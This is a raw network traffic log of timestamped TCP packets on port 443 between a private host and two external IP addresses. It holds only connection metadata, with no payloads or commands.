Dec 27, 2024 08:20:41.677752972 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.678399086 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.687933922 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.700268984 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.700308084 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.734028101 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.857127905 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.857657909 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.859472990 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.871872902 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.873035908 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.873505116 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.919683933 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.919773102 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.919786930 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.919795990 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.920209885 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.920309067 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.933399916 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.933418989 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:41.942608118 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.952931881 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:41.998665094 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.001354933 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.002721071 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.004137039 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.004653931 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.004771948 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.004864931 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.006798029 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.017174006 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.034020901 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.243100882 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.266235113 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.266803026 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.276588917 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.276854038 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.277337074 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.277579069 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.279753923 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.294833899 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.340764999 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.341943026 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.357531071 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.358170986 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.358457088 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.363446951 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.379518986 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.461944103 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.462160110 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.603005886 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.603728056 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.618464947 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.619597912 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.620074034 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.627311945 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.631458998 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.687494040 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.688247919 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.702979088 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.703718901 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.704057932 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.786200047 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.787527084 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.787600040 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.788168907 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.971527100 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.971906900 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.976480961 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.976511002 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.976610899 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.977183104 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:42.977782011 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:42.978013039 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.154055119 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.154170990 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.478445053 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:43.490919113 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:43.493197918 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:43.493438005 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.835726976 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.836411953 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.837696075 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:43.838191032 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:44.159784079 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:44.160341024 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:44.160747051 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:44.161032915 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:44.161923885 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:44.163029909 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:44.163178921 CET	443	59225	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:44.163348913 CET	59225	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:46.957293034 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:46.979126930 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:46.979737997 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:46.986397982 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:47.268979073 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:47.299736977 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:47.303399086 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:47.304228067 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:47.304915905 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:47.305093050 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:47.880245924 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:47.910012960 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.109055996 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.110194921 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.110224009 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.110238075 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.110331059 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.110824108 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.113786936 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.115250111 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.115473986 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.126245022 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.127141953 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.127332926 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.127368927 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.127381086 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.127780914 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.128321886 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.129128933 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.129153967 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.129288912 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.203695059 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.204214096 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.233659983 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.234019041 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.438620090 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.439841032 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.439851046 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.439999104 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.440007925 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.440016985 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.441930056 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.442749023 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.451631069 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.451648951 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.451719046 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.451728106 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.451735973 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.452089071 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.452111959 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.452270985 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.452420950 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.464121103 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.464519978 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.470184088 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.470410109 CET	52604	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.497483015 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.501552105 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.503158092 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.512460947 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.512682915 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.524413109 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.527246952 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.528882027 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.529030085 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.538141012 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.546775103 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.547017097 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.557121038 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.557153940 CET	443	52604	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.564357042 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.564857960 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.572899103 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.581753016 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.582195997 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.590038061 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.599550962 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.599826097 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.608706951 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.627646923 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.627742052 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.627938986 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.646394968 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.646512032 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.646606922 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.650614023 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.650918007 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.659590006 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.667860985 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.668293953 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.681183100 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.684937000 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.685086966 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.694320917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.706720114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.707568884 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.714987993 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.720774889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.720999002 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.730983019 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.737699986 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.738141060 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.749789000 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.774502039 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.774529934 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.774542093 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.774854898 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.774993896 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.781263113 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.787560940 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.788762093 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.789031029 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.803792953 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.806526899 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.806776047 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.815666914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.824961901 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.832849979 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.834316015 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.840867043 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.845571995 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.850625992 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.858392000 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.858783960 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.867892981 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.876596928 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.877974987 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.885027885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.893246889 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.894016981 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.901283026 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.919346094 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.919450998 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.919595957 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.928961992 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.929209948 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.936820984 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.945782900 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.946204901 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.956989050 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.963495016 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.963701963 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.970938921 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.980345964 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.980540991 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:48.988114119 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.996861935 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:48.997029066 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.006664038 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.014396906 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.014797926 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.021955013 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.030668020 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.030945063 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.038173914 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.046586990 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.047081947 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.053145885 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.060738087 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.061237097 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.068723917 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.075510979 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.075704098 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.091979027 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.092088938 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.092947006 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.099487066 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.103775024 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.104145050 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.109631062 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.119801044 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.120050907 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.120600939 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.125868082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.126471996 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.129240036 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.137214899 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.137270927 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.137284040 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.137432098 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.137500048 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.145375013 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.145401955 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.145415068 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.146413088 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.149508953 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.149689913 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.153001070 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.155431032 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.155616045 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.158678055 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.166806936 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.166927099 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.167331934 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.173394918 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.173448086 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.173460960 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.176563978 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.179877043 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.187030077 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.187144995 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.188998938 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.193176031 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.200679064 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.200717926 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.200730085 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.205269098 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.207189083 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.207422018 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.214277029 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.214349031 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.221550941 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.221596003 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.221606970 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.221812010 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.226164103 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.233530998 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.233556986 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.233570099 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.237065077 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.244811058 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.244904995 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.255923033 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.261079073 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.261111021 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.261123896 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.261255026 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.261336088 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.261348009 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.280353069 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.280409098 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.280420065 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.280514002 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.280538082 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.280549049 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.281747103 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.312048912 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.392086029 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:49.392486095 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:49.405419111 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.406477928 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.407605886 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.407824993 CET	62405	443	192.168.2.5	23.209.72.25
Dec 27, 2024 08:20:49.473929882 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:49.474530935 CET	58994	443	192.168.2.5	172.64.41.3
Dec 27, 2024 08:20:49.487970114 CET	443	62405	23.209.72.25	192.168.2.5
Dec 27, 2024 08:20:49.715799093 CET	443	58994	172.64.41.3	192.168.2.5
Dec 27, 2024 08:20:49.716480970 CET	443	58994	172.64.41.3	192.168.2.5
